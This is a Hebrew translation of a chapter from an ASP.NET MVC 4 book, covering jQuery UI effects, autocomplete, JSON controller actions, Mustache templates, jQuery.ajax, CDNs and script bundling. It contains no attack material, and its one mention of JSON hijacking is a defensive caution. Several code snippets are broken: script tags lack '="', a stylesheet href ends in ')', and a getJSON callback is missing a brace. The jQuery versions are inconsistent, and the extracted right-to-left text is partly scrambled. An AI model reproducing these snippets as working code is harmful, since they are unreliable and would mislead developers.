 -ו) שאותו כבר הכרנו (jQuery Validation:  חדש כולל שני תוספיםASP.NET MVCכל פרויקט 
jQuery UI) שאותו נציג להלן .( 

jQuery UI 

jQuery UI הוא תוסף jQueryבדומה לשאר התוספים. טים כאחד' אשר מספק אפקטים וגם וידג ,
לשם ההדגמה נחזור לקטע . jQuery API ומרחיב את jQueryבצורה הדוקה לספריית הוא קשור 

הקוד הראשון שהצגנו בפרק אשר שימש להנפשה של פריטי אלבום בדף הבית של חנות 
 : המוסיקה

$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).animate({ height: '+=25', width: '+=25' }) 

     .animate({ height: '-=25', width: '-=25' }); 

 }); 

}); 

הצעד .  כדי לגרום לאלבום לקַפּץjQuery UIֵנשתמש בכלים של , במקום כל הקוד הארוך הזה
 בכל חלקי היישום על ידי הוספת תגית תסריט חדשה jQuery UIהראשון הוא לכלול את 

 ): layout(לתצוגת מערך הפריסה 
<script src="~/Scripts/jquery-1.6.2.min.js"></script> 

<script src="~/Scripts/jquery.unobtrusive-ajax.min.js"></script> 

<script src~/Scripts/jquery-ui.min.js"></script> 

 ): mouseover( ניתן לשנות את הקוד בתוך מטפל האירוע כעת
$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).effect("bounce"); 

 }); 

}); 

. האלבום יקפץ מעלה ומטה לזמן קצר,  המשתמש יעביר את סמן העכבר מעל אלבום אם,כעת
 באמצעות שיטות נוספות שניתן להריץ על jQueryב את  מרחיUIתוסף , כפי שניתן לראות
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שני שבאמצעותו ) options" (אפשרויות"רוב השיטות האלו מקבלות פרמטר . מערך האלמנטים
 .ניתן לשנות את התנהגותן

$(this).effect("bounce", { time: 3, distance: 40 }); 

מוד על האפשרויות הזמינות כדי לל jQuery.comעיינו בקבצי התיעוד של התוסף בכתובת 
,  כוללים פיצוץjQuery UIאפקטים נוספים שמספק התוסף ). ערכי ברירת המחדל שלהןועל (

 . ניעור ופעימה, עמעום

 ...אין סוף לאפשרויות

 והתוספים jQueryהינו מנגנון שכיח בכל השיטות של ספריית ) options" (אפשרויות"הפרמטר 
מצב , כיוון, מרחק, כגון זמן( או שבעה פרמטרים שונים במקום שיטה שמקבלת שישה. שלה
השיטות מקבלות אובייקט יחיד עם מאפיינים שמוגדרים בהתאם לפרמטרים שברצונכם , )'וכו

 ). distance(והמרחק ) time(בחרנו להעביר רק את ערכי הזמן , בדוגמה האחרונה. לקבוע

 פירוט של הפרמטרים הזמינים וערכי למצוא) או כמעט תמיד(בתיעוד של השיטה תוכלו תמיד 
כל שנותר לכם לעשות הוא ליצור אובייקט עם מאפיינים . ברירת המחדל של כל אחד מהם

 . התואמים את הפרמטרים שברצונכם לשנות

התוסף מספק . מטפל רק באפקטים ויזואליים חסרי תוכן ממשי jQuery UIאל תחשבו שתוסף 
שורת , תאריכון, לחצן, השלמה אוטומטית, )רשימה(טים כגון רכיב אקורדיון 'גם וידג

בסעיף הבא נראה בתור דוגמה כיצד להשתמש ). tabs(סרגל גרירה וכרטיסיות , התקדמות
 . ט להשלמה אוטומטית'בווידג

 jQuery UI באמצעות תהשלמה אוטומטי
ך להציב כדי ליישמה יש צור, ולכן) widget(ט 'הינה וידג) auto complete( השלמה אוטומטית

, הוספת האלמנטים הללו כרוכה בהגדרת צבעים. אלמנטי ממשק משתמש חדשים על המסך
תוסף . רקעים ושאר פרטי התצוגה הרגילים שנחוצים לכל אלמנט בממשק משתמש, גדלי גופן
jQuery UIערכת נושא של .  משתמש בערכות נושא לצורך הגדרת התכונות הללוjQuery UI 

 שנמצאת "בסיסית"כולל ערכת נושא  חדש MVCכל פרויקט . תמונותכוללת גיליון סגנון ו
אשר  images התיקייגם את הו) jquery-ui.css(ליון סגנון יערכת הנושא הזו ג. Contentתיקייה ב

 . pngמלאה בקבצי 

נגדיר שהיישום יכלול את גיליון הסגנון של ערכת הנושא , לפני הפעלת השלמה אוטומטית
 : ספתו לתצוגת מערך הפריסההבסיסית על ידי הו

<link href="~/Content/Site.css) rel="stylesheet" type="text/css" /> 

<link href="~/Content/themes/base/jquery-ui.css" 

  rel="stylesheet"  type="text/css" /> 

<script src="~/Scripts/jquery-1.4.4.min.js"></script> 

<script src="~/Scripts/jquery.unobtrusive-ajax.min.js"></script> 

<script src~/Scripts/jquery-ui.min.js"></script> 
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 תחליטו שאינכם מרוצים מערכת הנושא jQueryאם קורה שבשלב מסוים במהלך העבודה עם 
 כדי לבחור בו מבין למעלה /http://jqueryui.com/themerollerהיכנסו לאתר , הבסיסית

בעזרת (כמובן שתוכלו ליצור ערכות נושא משלכם . רכות נושא מוכנות מראשמעשרים ע
 .  שנבנה עבורכםjquery-ui.cssולהוריד קובץ ) תצוגה מקדימה בזמן אמת

 התנהגותהוספת 

כעת נניח . בתחילת הפרק" Ajaxטפסי "נחזור לתרחיש החיפוש לפי אמן שיישמנו בסעיף 
נים מתאימים כאשר המשתמש מתחיל להקליד שאנחנו רוצים להציג רשימה של שמות אמ

 ולהחיל עליו JavaScriptעלינו לאתר את אלמנט הקלט בקוד , כדי לעשות זאת. בשדה הקלט
דרך אחת לעשות זאת היא להשתמש . jQueryהאוטומטית של את התנהגות ההשלמה 

 : MVCשל תשתית  data מאפייניב
<input type="text" name="q" 

  data-autocomplete-source="@Url.Action("QuickSearch", "Home")" /> 

-data-autocomplete מאפיין ולחפש אלמנטים שכוללים את הjQuery-הרעיון הוא להשתמש ב

source .ט ההשלמה 'וידג. הדבר יאפשר לדעת לאיזה שדות קלט דרושה השלמה אוטומטית
ההשלמה . ת ההצעותהאוטומטית זקוק למקור נתונים שישמש כבסיס לבניית רשימ

ובאותה , )מערך של אובייקטים(האוטומטית יכולה להתבסס על מקור נתונים שנמצא בזיכרון 
, במקרה שלנו. URLקלות גם לקבל את הנתונים שלה ממקור נתונים מרוחק על פי כתובת 

 מכיוון שמספר האמנים עשוי להיות גדול URLכדאי להפנות למקור נתונים באמצעות כתובת 
את הכתובת של מקור הנתונים להשלמה האוטומטית הטמענו .  לשלוח ללקוח בזמן סבירמכדי

 . dataבמאפיין 

 כדי להפעיל את ההשלמה readyנשתמש בקוד שלהלן במהלך האירוע , MusicScripts.jsבקובץ 
 : data-autocomplete-source בעלי המאפייןהאוטומטית בכל שדות הקלט 

$("input[data-autocomplete-source]").each(function () { 

 var target = $(this); 

 target.autocomplete({ source: target.attr("data-autocomplete-source") }); 

}); 

וקוראת לפרמטר הפונקציה שלה פעם ,  משמשת לסריקה איטרטיבית של המקבץeachהפונקציה 
ה האוטומטית של התוסף מופעלת על שיטת ההשלמ, בתוך הפונקציה. אחת עבור כל פריט

, הפרמטר שמועבר לשיטת ההשלמה האוטומטית הינו פרמטר אפשרויות. אלמנט המטרה
גם ניתן להגדיר אפשרויות . source המאפיין -יש גם מאפיין חובה , ובשונה מרוב האפשרויות

או , לכמו למשל משך הזמן לאחר כל הקשה עד שההשלמה האוטומטית מתחילה לפעו, נוספות
 . ט מתחיל לשלוח בקשות למקור הנתונים'מספר התווים המינימלי שיש להקליד לפני שהווידג

 : למקרה ששכחתם, הנה שוב הקוד. מקור הנתונים המוגדר הינו פעולת בקר, בדוגמה זו

<input type="text" name="q" 

  data-autocomplete-source="@Url.Action("QuickSearch", "Home")" /> 
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ט מצפה לקרוא למקור נתונים ולקבל ממנו אוסף של אובייקטים שיוכלו לשמש אותו 'הווידג
 של QuickSearchהפעולה . לבניית רשימה של הצעות השלמה אוטומטית שתוצג בפני המשתמש

 .  צריכה להחזיר נתונים בפורמט שההשלמה האוטומטית יכולה להביןHomeControllerהבקר 

 בניית מקור הנתונים

ט ההשלמה האוטומטית מצפה לקרוא למקור נתונים ולקבל ממנו אובייקטים בפורמט 'וידג
JSON .קל להפיק נתוני , למרבה המזלJSON באמצעות פעולת בקר MVC ,כפי שנראה מיד .

). או תווית וערך גם יחד (valueאו מאפיין בשם , labelהאובייקטים חייבים לכלול מאפיין בשם 
כאשר המשתמש .  בטקסט שמוצג למשתמשlabelמשתמשת במאפיין ההשלמה האוטומטית 

של הפריט ) value(ט מציב את הערך 'הווידג, בוחר פריטים מרשימת ההשלמה האוטומטית
התהליך יבוצע כאשר , value או לא מפורט labelכאשר לא מפורט . הנבחר בקלט הרלוונטי

 . הערך היחיד שסופק ישמש בתור הערך והתווית כאחד

 :  באמצעות הקוד שלהלןQuickSearch ניישם את , מתאיםJSON כפלט אובייקטי להחזיר כד

public ActionResult QuickSearch(string term) 

{ 

 var artists = GetArtists(term).Select(a => new {value = a.Name}); 

 return Json(artists, JsonRequestBehavior.AllowGet); 

} 

 

private List<Artist> GetArtists(string searchString) 

{ 

 return storeDB.Artists 

  .Where(a => a.Name.Contains(searchString)) 

  .ToList(); 

} 

הערך הנוכחי של אלמנט הקלט מועבר , כאשר ההשלמה האוטומטית קוראת למקור הנתונים
צריך לכלול בפעולה ,  הזהכדי לקבל את הפרמטר,  ולכןtermבתור מחרוזת שאילתה בשם 

לאובייקט מטיפוס אנונימי עם מאפיין ) artist(שימו לב להמרה של כל אמן . termפרמטר בשם 
value . הקוד מעביר את האוסף המתקבל לשיטהJson אשר מפיקה JsonResult . כאשר

כדי להמירה ) פעולת סריאליזציה(התוצאה מסדרת את התוצאה , התשתית מריצה את התוצאה
 . 8-4התוצאה הסופית מוצגת בתרשים . JSONלפורמט 

 8-4תרשים    
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 JSONחטיפת נתוני 

 HTTP GET אינה מאפשרת להגיב לבקשת ASP.NET MVCתשתית , על פי ברירת המחדל
יש לאפשר את ההתנהגות הזו , GET בתגובה לבקשת JSONכדי לשלוח . JSONבאמצעות נתוני 
. Json בתור הפרמטר השני לשיטה JsonRequestBehavior.AllowGetי העברת "באופן מפורש ע

 JSONחשוב להבין שבמקרה כזה יש סיכוי שמשתמש עוין יצליח ליירט את נתוני , עם זאת
ולפיכך יש להימנע מהחזרת , )JSON) JSON hijackingנתוני חטיפת  שלתהליך באמצעות 

: אפשר למצוא בפוסט של פילמידע נוסף בנושא זה . GET לבקשת JSONמידע רגיש באמצעות 
http://haacked.com/archive/2009/06/25/json-hijacking.aspx . 

קל 'וגם התוצר המתקבל מאוד , JSONמאוד קל להמיר תוצאות של פעולת בקר לפורמט 
 כרוכה בשליחת נפח נתונים JSONברוב המקרים תגובה לבקשה באמצעות , למעשה. 'משקל

ניקח לדוגמה את שדה . XML או HTMLם זהים שמוטמעים בתגיות קטן יותר משליחת נתוני
כאשר משתמש לוחץ על לחצן החיפוש אנחנו מגיבים על ידי מימוש תצוגה חלקית . החיפוש

 .JSONנוכל לצמצם את צריכת רוחב הפס אם נחזיר את התשובה בפורמט . HTMLבפורמט 

השתמשו , MVC Music Storeכדי להריץ את דוגמת ההשלמה האוטומטית בפרויקט  הערה
 Wrox.ProMvc4.Ajax.Autocompleteה ת התוכנ כדי להתקין את חבילNuGetבמנהל החבילות 

 . Autocomplete/ונווטו לכתובת 

-שעברו דה מהשרת היא מה לעשות עם האובייקטים JSONהבעיה הקלאסית בעת החזרת 
. ינה פעולה פשוטה מאוד שמתקבל מהשרת לדף אינטרנט הHTML הפיכת קוד .סריאליזציה

 בשרת בתהליך שבעבר היה מאוד HTML-כאשר מתקבלים נתונים גולמיים יש לבנות את ה
 . אך כיום יש תבניות שמקלות מאוד על העבודה הזו, מסורבל

JSONלקוח - ותבניות צד 

ר לכל ספרייה סגנון ותחבי.  כדי לבחור מהןJavaScriptקיים היום מגוון מאוד גדול של תבניות 
. ועל כל מְפתֵַח לבחור את הספרייה שמתאימה ביותר לסגנון העבודה האישי שלו, קצת שונים

 עם שומרי מקום וסימונים HTMLתגיות , קרי, Razor-כל הספריות מספקות אפשרויות דמויות
 binding (ביטויי קישורהמקום נקראים שומרי . מיוחדים שבהם מופיעים הנתונים

expressions .(הלן מדגים את השימוש בספרייה הקוד שלMustache , ספריית התבניות שבה
 . נשתמש בפרק זה

<span class="detail"> 

 Rating: {{AverageReview}} 

 Total Reviews: {{TotalReviews}} 

</span> 
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. TotalReviews ומאפיין AverageReview שכולל מאפיין JSONתבנית זו מוּחֶלתֶ על אובייקט 
התבנית מציבה את ערכי המאפיינים הללו , Mustacheתבניות באמצעות בעת מימוש 

לקבלת תיעוד . ניתן גם לממש תבניות על סמך מערך של נתונים. במיקומים המתאימים
 . https://github.com/janl/mustache.jsבכתובת  בקרו Moustacheמעמיק יותר של תבנית 

 .  ותבניותJSON שימוש בנתוני בסעיף הבא נשכתב את אפשרות החיפוש כדי לשלב

 הוספת תבניות

 Manage ובחרו MvcMusicStoreלחצו לחיצה ימנית על פרויקט , jQueryכדי להתקין תבנית 

NuGet Packageחפשו באופן , )8-5תרשים (שיח שתיפתח -בתיבת הדו.  מתפריט הקיצור
 ". mustache.js"מקוון את הביטוי 

 

 8-5תרשים 

 mustache.jsקובץ חדש בשם יהיה , NuGet החבילה לפרויקט באמצעות בסיום תהליך הוספת
הוסיפו הפניית תסריט , כדי להתחיל לכתוב תבנית.  שלכם)Scripts(התסריטים בתיקיית 
 : במערך התצוגהMoustacheלספרייה 

<script src="~/Scripts/jquery-1.6.2.min.js"></script> 

<script src="~/Scripts/jquery.unobtrusive-ajax.min.js"></script> 

<script src="~/Scripts/jquery-ui.min.js"></script> 

<script src="~/Scripts/mustache.js"></script> 

 . לאחר התקנת הספרייה תוכלו להתחיל להשתמש בתבניות במנגנון החיפוש
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 עדכון טופס החיפוש

בתחילת הפרק כוללת שימוש " Ajaxטפסי "אפשרות החיפוש לפי שם אמן שיצרנו בסעיף 
 : Ajaxבסייע 

@using (Ajax.BeginForm("ArtistSearch", "Home", 

 new AjaxOptions { 

  InsertionMode=InsertionMode.Replace, 

  HttpMethod="GET", 

  OnFailure="searchFailed", 

  LoadingElementId="ajax-loader", 

  UpdateTargetId="searchresults", 

 })) 

{ 

  <input type="text" name="q" 

   data-autocomplete-source="@Url.Action("QuickSearch", "Home")" /> 

  <input type="submit" value="search" /> 

  <img id="ajax-loader" 

   src="~/Content/Images/ajax-loader.gif" 

   style="display:none"/> 

} 

 jQueryספריית . נסיר אותו ונתחיל שוב,  הזהAjaxזרה הרבה שאפשר לקבל מסייע למרות הע
כבר . לאחזור נתונים מהשרת בצורה אסינכרונית) API(מספק מספר ממשקי תכנות יישומים 

וכעת , ט ההשלמה האוטומטית'ניצלנו את היכולות הללו בעקיפין כאשר השתמשנו בווידג
 .רנלמד כיצד ליישם גישה ישירה יות

במקום ,  באופן ישירjQueryתחילה עלינו לעדכן את טופס החיפוש באופן שישתמש בספריית 
הבקר הקיים נעשה זאת בדרך שהחיפוש יפעל כהלכה באמצעות קוד . Ajaxלהיעזר בסייע 

 : נראות כךIndex.cshtmlהתגיות המעודכנות של ).  בינתייםJSONללא (

<form id="artistSearch" method="get" action="@Url.Action("ArtistSearch", 

"Home")"> 

 <input type="text" name="q" 

   data-autocomplete-source="@Url.Action("QuickSearch", "Home")" /> 

 <input type="submit" value="search" /> 

 <img id="ajax-loader" src="~/Content/Images/ajax-loader.gif" 

   style="display:none"/> 

</form> 

שהפעם אנחנו בונים את תגית הטופס באופן מפורש ולא משתמשים בסייע , השינוי היחיד הוא
BeginForm .עלינו לכתוב בעצמנו קוד , ומכיוון שכךJavaScript לבקשת HTML מהשרת .

 :MusicScripts.jsהוסיפו את הקוד שלהלן לקובץ 
$("#artistSearch").submit(function (event) { 

 event.preventDefault(); 

 

 var form = $(this); 

 $("#searchresults").load(form.attr("action"), form.serialize()); 

}); 
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 preventDefaultהקריאה לשיטה . בטופס) submit(הקוד מופעל במקרה של אירוע שליחה 
 לדריסה של התנהגות ברירת  שמשמשתjQueryבארגומנט של האירוע המתקבל היא טכניקת 

אנחנו מונעים מהטופס לשלוח את עצמו ישירות , במקרה שלנו(המחדל במקרה של אירוע 
 ). ולוקחים לידנו את השליטה בבקשה ובתגובה, לשרת

 ומטמיעה את התגיות באלמנט המתאים URL מכתובת HTML מאחזרת קוד loadהשיטה 
בדוגמה זו אנחנו . URL הוא הכתובת loadל הפרמטר הראשון ש). searchresultsהאלמנט (

הפרמטר השני מקבל את הנתונים שיועברו במחרוזת . משתמשים בערך של תכונת הפעולה
 בונה עבורכם את הנתונים על ידי איסוף כל ערכי jQuery של serializeהשיטה . השאילתה

לכן אם , יחידבדוגמה זו יש לנו שדה קלט טקסט . הקלט בטופס וחיבורם יחדיו למחרוזת
 תשתמש בשם ובערך של שדה serializeהשיטה , וימסור את הטופס" black"המשתמש יזין 

 ". q=black"הקלט כדי לבנות את המחרוזת 

 JSONהפקת נתוני 

 של בקר ArtistSearchכעת נעדכן את הפעולה . HTMLאך השרת עדיין מחזיר , עדכנו את הקוד
Home  כדי שיחזיר נתוניJSONתצוגה חלקית במקום : 

public ActionResult ArtistSearch(string q) 

{ 

 var artists = GetArtists(q); 

 return Json(artists, JsonRequestBehavior.AllowGet); 

} 

 מספקת את jQueryספריית . HTML במקום JSONכעת עלינו לשנות את התסריט לקבלת 
 :  שתשמש לקבלת הנתוניםgetJSONהשיטה 

$("#artistSearch").submit(function (event) { 

 event.preventDefault(); 

 

 var form = $(this); 

 $.getJSON(form.attr("action"), form.serialize(), function (data) 

   // now what? 

 }); 

}); 

ורק החלפנו את הקריאה , הקוד לא השתנה בצורה דרמטית במיוחד לעומת הגרסה הקודמת
 . הסט התואם אינה מופעלת עלgetJSONהשיטה . getJSON בקריאה לשיטה loadיטה לש

-מבצעת דה, HTTP GETהשיטה מוציאה בקשת ,  ונתוני מחרוזת שאילתהURLבהינתן כתובת 
ולבסוף מריצה את שיטת החזרה ,  המוחזרים בחזרה לאובייקטJSONסריאליזציה של נתוני 

יש לנו נתוני ? )callback(תבצע בתוך שיטת החזרה מה מ. שמועברת בתור הפרמטר השלישי
JSON - כאן מתחילה .  אבל אין בידנו את התגיות הנדרשות כדי להציגם- מערך של אמנים

בקטע הקוד .  שמוטמעות בתגית התסריטHTMLתבנית מכילה תגיות . העבודה של התבנית
 : ות החיפוששבהן תוצגנה תוצא, שלהלן מוצגת תבנית וגם תגיות תוצאות חיפוש
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<script id="artistTemplate" type="text/html"> 

 <ul> 

  {{#artists}} 

   <li>{{Name}}</li> 

  {{/artists}} 

 </ul> 

</script> 

 

<div id="searchresults"> 

 

</div> 

הדבר נועד להבטיח שהדפדפן לא . text/html  שקרוי)type(שימו לב שתגית התסריט היא מסוג 
 מורה למָנוֹע {{artists#}}הביטוי . Javascriptש את תוכן תגית התסריט בתור קוד לפרינסה 

.  באובייקט הנתונים שישמש אותנו למימוש התבניתartistsמערך בשם התבניות לסרוק 
 Nameאשר מורֶה למנוע התבנית לאתר את המאפיין , קישורהוא ביטוי  {{Name}}תחביר ה

. <li/> לתגית <li>תגית ה את הערך של המאפיין בין הציבאובייקט הנתונים הנוכחי ולשל 
 .  ברשימה לא ממוינתJSONמוצגים נתוני , כתוצאה

ולהורות לספריית , getJSONעלינו לבחור בה מתוך שיטת החזרה של , בתבניתכדי להשתמש 
Moustache להפיק HTMLעל בסיס התבנית  : 

$("#artistSearch").submit(function(event) { 

 event.preventDefault(); 

 

 var form = $(this); 

 $.getJSON(form.attr("action"), form.serialize(), function(data) { 

  var html = Mustache.to_html($("#artistTemplate").html(), { artists: data }); 

 

  $("#searchresults").empty().append(html); 

 }); 

}); 

. HTML ליצירת תגיות JSON ממזגת את התבנית עם נתוני Moustache של to_htmlהשיטה 
 . לאחר מכן הקוד מציב את הפלט של התבנית באלמנט תוצאות החיפוש

ובסעיף זה רק ראינו את קצה הקרחון מבחינת היכולות , לקוח הן כלי חזק ביותר-תבניות צד
 Ajaxינו שקול להתנהגות של סייע הקוד המעודכן א, במצב הנוכחי. שמציע מנוע התבניות

ניתן להשתמש בסייע , בפרק זה" Ajaxסייעי "כפי שראינו בסעיף . אשר שימש אותנו קודם
Ajaxוגם להציג קובץ ,  כדי לקרוא לשיטה כאשר השרת מחזיר שגיאהgif מונפש בזמן הטיפול 

ם כך עלינו אך לש, אנחנו יכולים ליישם את כל התוספות הללו גם בקוד הנוכחי. בבקשה
 .להסיר שכבה אחת של הפשטה
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  jQuery.ajaxבשיטה ישיר שימוש 

. jQuery של ajaxתוכלו להשתמש בשיטה , Ajaxבמקרים שבהם דרושה שליטה מלאה בבקשת 
 GETכגון  (HTTPשדרכו ניתן לציין הוראת ) options( מקבלת פרמטר אפשרויות ajaxהשיטה 

כל שאר השיטות שמשמשות . מטפל בשגיאות ועוד, )timeout(זמן המתנה מֵרָבי , )POSTאו 
 נוכל ajaxעל ידי שימוש בשיטה . ajaxלתקשורת אסינכרונית קוראות בסופו של דבר לשיטה 

 :לקוח-בלי לוותר על השימוש בתבניות צד, Ajaxלשחזר את כל התוספות שסיפק לנו הסייע 

$("#artistSearch").submit(function (event) { 

 event.preventDefault(); 

 

 var form = $(this); 

 $.ajax({ 

  url: form.attr("action"), 

  data: form.serialize(), 

  beforeSend: function () { 

   $("#ajax-loader").show(); 

  }, 

  complete: function () { 

   $("#ajax-loader").hide(); 

  }, 

  error: searchFailed, 

  success: function (data) { 

   var html = Mustache.to_html($("#artistTemplate").html(), 

        { artists: data }); 

   $("#searchresults").empty().append(html); 

  } 

 }); 

}); 

. מכיוון שעלינו לקבוע בצורה מפורשת את רשימת הגדרות,  מאוד ארוכהajaxהקריאה לשיטה 
. getJSON- וloadשקולים לחלוטין לפרמטרים שהעברנו לשיטות data - וurlם המאפייני
 - וbeforeSend מספקת גם את היכולת לציין פונקציות שתופעלנה מהשרת עבור ajaxהשיטה 

complete .את סמל , בהתאמה, נוכל להציג ולהסתיר, במהלך הקריאות המוחזרות מהשרת
 תריץ את jQueryספריית .  שבקשתו מעובדתהטעינה המסתובב כדי ליידע את המשתמש

 הקריאותמבין שתי , עם זאת.  גם אם הקריאה לשרת תגרום לשגיאהcompleteהפונקציה 
, אם הקריאה נכשלת. רק אחת יכולה להיבחר, success- וerror, לפונקציות המוחזרות הבאות

טפסי "דרנו בסעיף  שכבר הגsearchFailed תבצע קריאה לפונקציית השגיאה jQueryספריית 
Ajax ."התבנית תמומש באופן הרגיל, אם הקריאה מבוצעת בהצלחה . 

 את ןהתקיצריך ל, במחשבשפועל  MVC Music Storeכדי לנסות את הקוד ביישום  הערה
נווט לכתובת ל וNuGet באמצעות Wrox.ProMvc4.Ajax.Templates ת התוכנהחביל

/Templates ופרהמש" כדי לראות את דף הבית" . 
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 Ajaxשיפור ביצועי 
חשוב לתת את הדעת , כאשר אתם צריכים לשלוח כמויות גדולות של קוד תסריט ללקוח

הלקוח של האתר -יש כלים רבים שניתן ליישם כדי לשפר את ביצועי צד. לסוגיית היעילות
 Internetוכלי הפיתוח של , )/http://developer.yahoo.com/yslowראו  (YSlowניהם יוב, שלכם

Explorer) גם ראו  http://msdn.microsoft.com/en-us/library/dd565629(VS.85).aspx .( בסעיף
 . זה נציג מספר עצות לשיפור הביצועים

 CDN -שימוש ברשתות שיגור תוכן 
אולם במקרים ,  אל הלקוח דרך השרתjQuery על ידי משלוח תסריטי jQueryתוכלו לעבוד עם 

 שיגור רשתשב jQueryשמפנה לתסריטי ל לשלוח ללקוח תגית תסריט מסוימים כדאי לשקו
 שירות למקורות כוללת שרתי) CDN( תוכן רשת). CDN )Content Delivery Network -תוכן 
ולכן סביר להניח שהלקוח יוכל להוריד את ,  בפריסה גלובליתJqueryכמו ספריות , שונים

,  דרך רשתות תוכןjQueryמפנים לתסריטי מכיוון שגם אתרים אחרים . התכנים מהר יותר
תמיד נחמד , פרט לזה. מקומי) cache(ייתכן שתהיה ללקוח גישה לקובץ שנשמר בזיכרון 

 . פס על חשבון מישהו אחר-לחסוך בעלויות רוחב

רשת .  שמציעות את שירותיהן למפעילי אתריםCDN הינה אחת מספקיות Microsoftחברת 
כדי לספק תסריטי .  את כל הקבצים ששימשו אותנו בפרק זה מארחתMicrosoftהתוכן של 

jQuery דרך Microsoft CDNניתן להשתמש בתגית התסריט שלהלן,  ולא דרך השרת שלכם : 

<script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.2.min.js" 

  type="text/javascript"></script> 

בקרו ,  ולעדכונים על הרשתMicrosoft של רשת התוכן של URLת לקבלת רשימה של כתובו
 . http://www.asp.net/ajaxlibrary/CDN.ashxבכתובת 

 אופטימיזציה של תסריטים
ומעדיפים ,  של מסמךheadמפתחי אינטרנט רבים נמנעים משימוש בתגיות בתוך אלמנט 

מיקום תגיות בתוך תגית  עם הבעיה. תגיות התסריט קרוב ככל הניתן לתחתית הדףלהציב את 
<head>שכאשר דפדפן נתקל בתגית תסריט הוא חוסם את כל שאר ,  שבראש הדף היא

על . חסימה זו עשויה לגרום להאטה בטעינת הדף. ההורדות עד להשלמת הורדת התסריט כולו
תוכלו לשפר ) body/,  הסוגרתbodyמעל תגית (ידי העברת כל תגיות התסריט לתחתית הדף 

 . דה ניכרת את חווית הגולשיםבמי

. טכניקת ייעול נוספת הקשורות לתסריטים היא מזעור מספר תגיות התסריט שנשלחות ללקוח
עליכם למצוא את האיזון המיטבי בין מזעור ההפניות לתסריטים לבין שמירה של תסריטים 

כגון (בר אך תוכלו להיעזר בכלים שהזכרנו כ, יזוהי משימה מאתגרת למד. ם במטמוןפרטניי
YSlow (תשתית . כדי לקבל את ההחלטות הנכונותASP.NET MVC מספקת את היכולת לאגד 

, בנוסף. תסריטים כדי לצרף מספר קבצי תסריט לחבילה שהלקוח יכול להוריד בבת אחת
 . באפשרותכם למזער את התסריטים כדי להקטין את נפח ההורדה
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 כריכה ומזעור

 מסופקים על ידי ASP.NET MVCשבתשתית ) bundling and minification(שירותי כריכה ומזעור 
, כמשתמע מהשם הזה. System.Web.Optimizationהשמות מחלקות אשר שוכנות במרחב 

הקטנת (מחלקות אלו מיועדות לאופטימיזציה של ביצועי דף הרשת באמצעות מזעור קבצים 
המאמץ המשולב של ). ה אחתאיחוד של מספר קבצים ליחיד(וכריכה של קבצים ) הנפח שלהם

מחלקות הכריכה והמזעור תורם באופן משמעותי להפחתת הזמן שנדרש לדפדפן לטעון את 
 . הדף

הגדרת התצורה של כריכת הקבצים מבוצעת באופן , ASP.NET MVC 4כאשר יוצרים יישום 
 הי בתיקיBundleConfig.csבקובץ יאוחסנו  כריכות האלוה. היישוםאוטומטי במהלך הפעלת 

App_Startאשר משמש ,  בתוכם תמצאו קוד כדוגמת הקוד שלהלן. של הפרויקט החדש
 ): CSS(ושל כריכות סגנון ) JavaScript(לקביעת התצורה של כריכות תסריט 

bundles.Add(new ScriptBundle("~/bundles/jquery").Include( 

   "~/Scripts/jquery-1.*")); 

 

bundles.Add(new StyleBundle("~/Content/css").Include("~/Content/site.css")); 

 

bundles.Add(new ScriptBundle("~/bundles/jqueryui").Include( 

   "~/Scripts/jquery-ui*")); 

אשר , bundles/jquery/~כגון ( שילוב של נתיב וירטואלי ההינ) script bundle( תסריט כריכת
ורשימה של קבצים שיכללו ) ScriptBundleאי של מועבר בתור הפרמטר הראשון אל הבנ

שישמש אותנו בשלב מאוחר יותר כאשר נוציא את ) id(הנתיב הווירטואלי הוא מזהה . בכריכה
את רשימת הקבצים שיכללו בכריכה ניתן להגדיר באמצעות קריאה . הכריכה כפלט בתצוגה
ציין שם קובץ רצוי או שם בקריאה לשיטה ניתן ל.  של הכריכהIncludeאחת או יותר לשיטה 

 . קובץ עם כוכבית לציון מספר קבצים הכרוכים יחד

שבזמן הריצה שלו יש לכרוך  אומר, *Scripts/jquery-ui/~  על ידיציון הקובץ, בקוד שלעיל
תהליך זמן ). אפילו אם מדובר בקובץ תסריט אחד בלבד( יחד jQuery UI תסריטי את כל 

, JavaScript בין הגרסה המוקטנת והגרסה המלאה של ספריית הריצה מתוחכם דיו כדי להבחין
 יכלל jquery-ui-1.18.11.jsהקובץ . JavaScriptשל על פי מוסכמות בחירת שמות סטנדרטיים 

באפשרותכם ליצור ולערוך .  יהיה כלול בה לאjquery-ui-1.18.11.min.js הקובץ בלא, כריכהב
 .BundleConfig.csכריכות כרצונכם במסגרת הקובץ 

- וScriptsלאחר קביעת התצורה של הכריכות תוכלו לממש אותן בעזרת מחלקות הסיוע 
Styles . הקוד שלהלן משמש להעברה לפלט של כריכתjQuery שיצרנו ושל גיליון הסגנון 

 : הסטנדרטי של היישום
@Scripts.Render("~/bundles/jquery") 

@Styles.Render("~/Content/css") 
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.  השונות הינו הנתיב הווירטואלי שמשמש ליצירת כריכהRenderמועבר לשיטות הפרמטר ש
 בסעיף ההידור true נמצא במצב debugכלומר דגל (כאשר היישום פועל במצב ניפוי שגיאות 

סייעי התסריט והסגנון יממשו תגית תסריט לכל אחד מהקבצים הפרטניים , )web.configשל 
הסייעים משלבים את כל הקבצים , פועל במצב הפצהכאשר היישום . שכלולים בכריכה

במצב . שבכריכה כדי לאפשר להורידם בבת אחת ומציבים קישור או אלמנט תסריט יחיד בפלט
 .הסייעים ממזערים את הקבצים על פי ברירת מחדל כדי להפחית את נפח ההורדה, הפצה

 סיכום
אפשרויות אלו . ASP.NET MVC 4 בתשתית Ajaxבפרק זה הצגנו סקירה של אפשרויות 

 . וכמה מהתוספים הפופולריים שלה, jQueryמסתמכות באופן נרחב על ספריית הקוד הפתוח 

 הוא להבין את אופן הפעולה של ASP.NET MVC 4 ביישומי Ajaxהמפתח להצלחה בעבודה עם 
jQueryספריית .  ולנצל את הידע כדי להפיק את המרב מהספרייה הזו ביישומים שמפתחים
jQueryאלא שהיא גם מאפשרת להפריד תסריטים מהתגיות ,  לא רק גמישה ושימושית ביותר

בזכות ההפרדה הזו תוכלו למקד את המאמצים שלכם . unobtrusive JavaScriptולכתוב 
ולרתום לצרכיכם את מלוא מערך היכולות שמספקת ,  טוב יותרJavaScriptבכתיבת קוד 

 . jQueryספריית 

.  באמצעות פעולות בקרJSONלקוח והחזרת נתוני -ם על שימוש בתבניות צדבפרק זה למדנו ג
